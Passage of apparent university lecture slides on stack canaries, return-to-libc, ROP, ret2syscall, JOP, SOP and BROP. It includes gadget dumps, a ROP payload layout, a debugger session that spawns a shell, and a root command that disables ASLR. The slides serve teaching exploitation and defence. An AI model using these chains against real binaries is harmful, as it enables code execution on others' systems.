call   __stack_chk_fail@PLT
```

L2:

```
leave
ret
```

Gets value from fs:40  
Stores value at rbp-8 (inside stack frame)

Fetches value  
Xor with reference at fs:40  
Exit or crash



# Countermeasures: Canaries

---

- **-fno-stack-protector:** disables stack protection. (What we have been using)
- **-fstack-protector:** enables stack protection for vulnerable functions that contain:
  - A character array larger than 8 bytes.
  - An 8-bit integer array larger than 8 bytes.
  - A call to `alloca()` with either a variable size or a constant size bigger than 8 bytes.
- **-fstack-protector-strong:** enables stack protection for vulnerable functions that contain:
  - An array of any size and type.
  - A call to `alloca()`.
  - A local variable that has its address taken.
- **-fstack-protector-all:** adds stack protection to all functions regardless of their vulnerability.



# Stack: return\_to libc.c (x86\_64)

---

- **x64: first arguments are passed in register: RDI, RSI, RDX, RCX, R8, R9**
  - Approach: load RDI with address of string, jump to system address
  - Problems: cannot jump to stack (due to NX)
- **Improved:**
  - Search any code that loads RDI from stack
    - we can **control the execution flow** after the function exists but we cannot execute code from the stack
  - jump to code that loads RDI from stack
  - Jump to system

# ROP - Return Oriented Programming

---

- **Execute code already present in the program.**
  - Each snippet is composed by some instructions + RET (called a Gadget)
  - RET pops RIP from the stack
- **Program flow is controlled by values in the stack**
  - Attacker puts values in stack pointing to gadgets
  - When a gadget ends, the code jumps to the next gadget
- **Any program can be constructed as long as there are gadgets available**
  - When Good Instructions Go Bad: Generalizing Return-Oriented Programming to RISC [1] - Buchanan, E.; Roemer, R.; Shacham, H.; Savage, S.
  - Return-Oriented Programming: Exploits Without Code Injection [2] - Shacham, Hovav; Buchanan, Erik; Roemer, Ryan; Savage, Stefan.



# ROP

---

- ROP Attacks: Chain gadgets to execute malicious code.
- A gadget is a suite of instructions which end by the branch instruction ret (Intel) or the equivalent on ARM.

## Intel examples:

```
pop eax ; ret  
xor ebx, ebx ; ret
```

## ARM examples:

```
pop {r4, pc}  
str r1, [r0] ; bx lr
```

- Objective: Use gadgets instead of classical shellcode
  - Because shellcode cannot be executed from stack
  - Gadgets reside in the program code and can be executed



# ROP

---

- Because x86 instructions aren't aligned, a gadget can contain another gadget.

```
f7c707000000f9545c3 → test edi, 0x7 ; setnz byte ptr [rbp-0x3d] ;  
c707000000f9545c3 → mov dword ptr [rdi], 0xf000000 ; xchg ebp, eax ; ret
```

- Doesn't work on RISC architectures like ARM, MIPS, SPARC...



```
0x00000000000040137d: nop dword ptr [rax]; ret;
0x000000000000401003: or byte ptr [rax - 0x75], cl; add eax, 0x2fed; test rax, rax; je 0x1012; call rax;
0x000000000000401136: or dword ptr [rdi + 0x404080], edi; jmp rax;
0x000000000000401106: out 0x2e, al; add byte ptr [rax], al; hlt; nop dword ptr [rax + rax]; ret;
0x000000000000401374: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000000401376: pop r13; pop r14; pop r15; ret;
0x000000000000401378: pop r14; pop r15; ret;
0x00000000000040137a: pop r15; ret;
0x000000000000401373: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000000401377: pop rbp; pop r14; pop r15; ret;
0x0000000000004011a9: pop rbp; ret;
0x00000000000040131b: pop rbx; pop rbp; ret;
0x00000000000040137b: pop rdi; ret;
0x000000000000401379: pop rsi; pop r15; ret;
0x000000000000401375: pop rsp; pop r13; pop r14; pop r15; ret;
0x000000000000401199: push rbp; mov rbp, rsp; call 0x1120; mov byte ptr [rip + 0x2eef], 1; pop rbp; ret;
0x000000000000401072: ret 0x2f;
0x00000000000040128f: ret 0x4011;
0x00000000000040100d: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x000000000000401100: sbb eax, 0xff004012; adc eax, 0x2ee6; hlt; nop dword ptr [rax + rax]; ret;
0x000000000000401385: sub esp, 8; add rsp, 8; ret;
0x000000000000401001: sub esp, 8; mov rax, qword ptr [rip + 0x2fed]; test rax, rax; je 0x1012; call rax;
0x000000000000401384: sub rsp, 8; add rsp, 8; ret;
0x000000000000401000: sub rsp, 8; mov rax, qword ptr [rip + 0x2fed]; test rax, rax; je 0x1012; call rax;
0x00000000000040100c: test eax, eax; je 0x1012; call rax;
0x00000000000040100c: test eax, eax; je 0x1012; call rax; add rsp, 8; ret;
0x000000000000401133: test eax, eax; je 0x1140; mov edi, 0x404080; jmp rax;
0x000000000000401175: test eax, eax; je 0x1180; mov edi, 0x404080; jmp rax;
0x00000000000040100b: test rax, rax; je 0x1012; call rax;
0x00000000000040100b: test rax, rax; je 0x1012; call rax; add rsp, 8; ret;
0x000000000000401132: test rax, rax; je 0x1140; mov edi, 0x404080; jmp rax;
0x000000000000401174: test rax, rax; je 0x1180; mov edi, 0x404080; jmp rax;
0x00000000000040121a: clc; leave; ret;
0x00000000000040110a: hlt; nop dword ptr [rax + rax]; ret;
0x00000000000040121b: leave; ret;
0x00000000000040113f: nop; ret;
0x000000000000401016: ret;
```

106 gadgets found

gef> █



# ROP

➤ **Using ROP, stack is subverted to create a jump sequence. It contains:**


- Values to be loaded
- Addresses to other gadgets
- May also contain arguments to functions called

➤ **Gadgets are present in program code and loaded libraries**

- Each function available provides one gadget
- Plus misaligned access

➤ **Why?**

- It can bypass several security mechanisms
- It can use existing binary data to run arbitrary commands



```
0x00000000000401373: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x00000000000401377: pop rbp; pop r14; pop r15; ret;
0x000000000004011a9: pop rbp; ret;
0x0000000000040131b: pop rbx; pop rbp; ret;
0x0000000000040137b: pop rdi; ret;
0x00000000000401379: pop rsi; pop r15; ret;
0x00000000000401375: pop rsp; pop r13; pop r14; pop r15; ret;
0x00000000000401199: push rbp; mov rbp, rsp; call 0x1120; mov byte ptr [rip + 0x2eef], 1; pop rbp; ret;
0x00000000000401072: ret 0x2f;
0x0000000000040128f: ret 0x4011;
0x0000000000040100d: sal byte ptr [rdx + rx - 1], 0xd0; add rsp, 8; ret;
0x00000000000401100: sbb eax, 0xff004012; adc eax, 0x2ee6; hlt; nop dword ptr [rax + rax]; ret;
0x00000000000401385: sub esp, 8; add rsp, 8; ret;
0x00000000000401001: sub esp, 8; mov rax, qword ptr [rip + 0x2fed]; test rax, rax; je 0x1012; call rax;
0x00000000000401384: sub rsp, 8; add rsp, 8; ret;
0x00000000000401000: sub rsp, 8; mov rax, qword ptr [rip + 0x2fed]; test rax, rax; je 0x1012; call rax;
0x0000000000040100c: test eax, eax; je 0x1012; call rax;
0x0000000000040100c: test eax, eax; je 0x1012; call rax; add rsp, 8; ret;
0x00000000000401133: test eax, eax; je 0x1140; mov edi, 0x404080; jmp rax;
0x00000000000401175: test eax, eax; je 0x1180; mov edi, 0x404080; jmp rax;
0x0000000000040100b: test rax, rax; je 0x1012; call rax;
0x0000000000040100b: test rax, rax; je 0x1012; call rax; add rsp, 8; ret;
0x00000000000401132: test rax, rax; je 0x1140; mov edi, 0x404080; jmp rax;
0x00000000000401174: test rax, rax; je 0x1180; mov edi, 0x404080; jmp rax;
0x0000000000040121a: clc; leave; ret;
0x0000000000040110a: hlt; nop dword ptr [rax + rax]; ret;
0x0000000000040121b: leave; ret;
0x0000000000040113f: nop; ret;
0x00000000000401016: ret;
```


```
106 gadgets found
gef> rop --search 'pop rdi'
[INFO] Load gadgets from cache
[LOAD] loading ... 100%
[LOAD] removing double gadgets ... 100%
[INFO] Searching for gadgets: pop rdi
```

```
0x0000000000040137b: pop rdi; ret;
```



# Stack: return\_to libc.c (x86\_64)

---



## ➤ Payload strategy:

- All addresses are 8 bytes
- Buffer: padding with 16 bytes (buffer + RBP)
- Gadget address: ?? -> **rop --search “pop rdi; ret”**
  - pop RDI: load command address into RDI
  - ret: load system address into RIP
- Command address: ?? -> **grep /bin/sh**
  - Approaches: **Find a string already in RAM (better)**; add the payload after the system address (if required)
- System address: ?? -> **print system**

```
0x00000000000040100d: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x000000000000401100: sbb eax, 0xff004012; adc eax, 0x2ee6; hlt; nop dword ptr [rax + rax]; ret;
0x000000000000401385: sub esp, 8; add rsp, 8; ret;
0x000000000000401001: sub esp, 8; mov rax, qword ptr [rip + 0x2fed]; test rax, rax; je 0x1012; call rax;
0x000000000000401384: sub rsp, 8; add rsp, 8; ret;
0x000000000000401000: sub rsp, 8; mov rax, qword ptr [rip + 0x2fed]; test rax, rax; je 0x1012; call rax;
0x00000000000040100c: test eax, eax; je 0x1012; call rax;
0x00000000000040100c: test eax, eax; je 0x1012; call rax; add rsp, 8; ret;
0x000000000000401133: test eax, eax; je 0x1140; mov edi, 0x404080; jmp rax;
0x000000000000401175: test eax, eax; je 0x1180; mov edi, 0x404080; jmp rax;
0x00000000000040100b: test rax, rax; je 0x1012; call rax;
0x00000000000040100b: test rax, rax; je 0x1012; call rax; add rsp, 8; ret;
0x000000000000401132: test rax, rax; je 0x1140; mov edi, 0x404080; jmp rax;
0x000000000000401174: test rax, rax; je 0x1180; mov edi, 0x404080; jmp rax;
0x00000000000040121a: clc; leave; ret;
0x00000000000040110a: hlt; nop dword ptr [rax + rax]; ret;
0x00000000000040121b: leave; ret;
0x00000000000040113f: nop; ret;
0x000000000000401016: ret;
```

106 gadgets found

```
gef> rop --search 'pop rdi'
[INFO] Load gadgets from cache
[LOAD] loading ... 100%
[LOAD] removing double gadgets ... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: /media/sf_labs/bo/return_to libc
0x00000000000040137b: pop rdi; ret;
```

```
gef> print system
$2 = {int (const char *)} 0x7ffff7dff8f0 <__libc_system>
gef> grep "/bin/sh"
[+] Searching '/bin/sh' in memory
[+] In '/usr/lib/x86_64-linux-gnu/libc.so.6'(0x7ffff7f3a000-0x7ffff7f90000), permission=r--
0x7ffff7f54e43 - 0x7ffff7f54e4a → "/bin/sh"
```



# .plt, .got, .got.plt

---

## ➤ Procedure Linkage Table and Global Offset Table

- **.PLT**: Code to relocate symbols
- **.GOT**: Array with addresses of each symbol requiring relocation
  - **.got** is similar to **.got.plt** but it's writable, while **.got** may be marked as Read Only as a security measure (-z relro)
  - Using a table (GOT) allows patching this table, while keeping libraries in same address, shared to multiple processes

## ➤ Sections required for lazy binding (real time relocation)


- Linker needs to resolve the effective address of a code identified by a symbol (e.g **puts**)
- **.plt** and **.got** ensure the symbol location is found and the code jumps around correctly
- On Linux, the Env Variable `LD_BIND_NOW` forces linking by the linker (on program load)

## ➤ Payload can use that table to obtain addresses to relevant functions



# Stack: return\_to\_libc.c (x86\_64)

---



## ➤ Payload strategy:

- All addresses are 8 bytes
- Buffer: padding with 16 bytes (buffer + RBP)
- Gadget address: `0x0040137b`
  - pop RDI: load command address into RDI
  - ret: load system address into RIP
- `/bin/sh` address: `0x7ffff7f54e43`
  - Approaches: **Find a string already in RAM (better)**; add the payload after the system address (if required)
- System address: `0x401060`

# Stack: return\_to\_libc.c (x86\_64)

---

buffer	RBP	Gadget1 address	Gadget2 address	Command address	System address	Command to be executed (optional)	RBP	RIP libc
--------	-----	-----------------	-----------------	-----------------	----------------	-----------------------------------	-----	----------

- In some systems, stack must be aligned to 16 bytes and our ROP chain isn't...
  - Result is a crash in instruction `movaps`
- Solution: add another gadget with only a ret (will pop a value)
  - Gadget 1: `0x00401016 ; ret`
  - Gadget 2: `0x0040137b ; pop rdi;ret`



# Stack: return\_to\_libc.c (x86\_64)

```
106 gadgets found
gef> rop --search 'pop rdi'
[INFO] Load gadgets from cache
[LOAD] loading ... 100%
[LOAD] removing double gadgets ... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File:           return_to libc
0x0000000000040137b: pop rdi; ret;

gef> print system
$2 = {int (const char *)} 0x7ffff7dff8f0 <_libc_system>
gef> grep "/bin/sh"
[+] Searching '/bin/sh' in memory
[+] In '/usr/lib/x86_64-linux-gnu/libc.so.6'(0x7ffff7f3a000-0x7ffff7f90000), permission=r--
  0x7ffff7f54e43 - 0x7ffff7f54e4a → "/bin/sh"
gef> run ./payload
Starting program:           return_to libc ./payload
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
secret: 0x4011c2
system: 0x401060
buffer: 0x7fffffffca8
[Detaching after vfork from child process 695711]
$ whoami
kali
$
```



# Stack: return\_to libc.c (x86\_64)

---

## ➤ Exercise: build a ROP chain and get a shell in the program

- Use Pwntools
- It may be useful to disable ASLR for now
  - In gef: `aslr off`
  - System wide (as root): `echo 0 > /proc/sys/kernel/randomize_va_space`
- Document the payload



# Other attacks: ret2syscall

---

## ➤ Execute a syscall with an attacker controlled command

- Command is controlled by the attacker as it is inserted as a string
- Require some more gadgets, favoring the use in static binaries
- Needed:
  - pop rdx; ret
  - pop rdi; ret
  - pop rsi; ret
  - pop rdx; ret
  - mov qword ptr [rax], rdx
  - sys\_execve
  - Some memory address for writing the command

RAX	59
RDI	const char *filename
RSI	const char *const argv[]
RDX	const char *const envp[]

Padding + pop\_rdx + string\0 + pop\_rax + p64(address) + write + pop\_rax + p64(0x3b) + pop\_rdi + p64(address) + pop\_rsi + p64(0) + pop\_rdx + p64(0) + syscall

# ROP Variants

---

## ➤ JOP: Jump Oriented Programming

- <https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf>

## ➤ SOP: Jump Oriented Programming

- [https://www.inf.ethz.ch/research/publications/PPREW\\_2013/PPREW\\_2013.pdf](https://www.inf.ethz.ch/research/publications/PPREW_2013/PPREW_2013.pdf)

## ➤ BROP: Blind Return Oriented Programming


- <http://www.scs.stanford.edu/brop/bittau-brop.pdf>




# Jump Oriented Programming

## ➤ Explores small gadgets that end with an indirect JMP with a dispatcher

- Indirect jmp: jmp [register]
- Is assumed to be more complex to detect and avoid as interaction is restricted to code and registers
- Although number of JMP gadgets is smaller, unaligned execution **create jumps** not previously present in the code
- The program counter is **any register**



# Jump Oriented Programming



# String Oriented Programming

---

## ➤ Makes use of a String format bug

- Present in the printf family of functions (printf, vprintf, fprintf)
- Correct: `printf("%s", str);`
- Vulnerable: `printf(str);`

## ➤ Format string attacks read/write arbitrary values to arbitrary memory locations

- Explore %p, %n, %s,
- Can be used to dump stack or arbitrary reading of memory
- Can be used to trigger ROP, JOP attacks by writing values memory
- Instead of writing sequential chunks, SOP can issue arbitrary writes.

## ➤ Two approaches

- Direct control flow redirect: Erase return value on stack, jumping to gadget on function end
- Indirect control flow redirect: Erase a Global Offset Table entry
  - GOT keeps addresses to external symbols as resolved by the linker

# Blind Return Oriented Programming

---

- **Makes it possible to write exploits without possessing the target's binary.**
  - It requires a stack overflow and a service that restarts after a crash.
  - Based on whether a service crashes
  - Is able to construct a full remote exploit that leads to a shell.
  
- **The attack remotely leaks gadgets to perform the write system call, after which the binary is transferred from memory to the attacker's socket.**
  - Following that, a standard ROP attack can be carried out.
  - Apart from attacking proprietary services, BROP is very useful in targeting open-source software for which the particular binary used is not public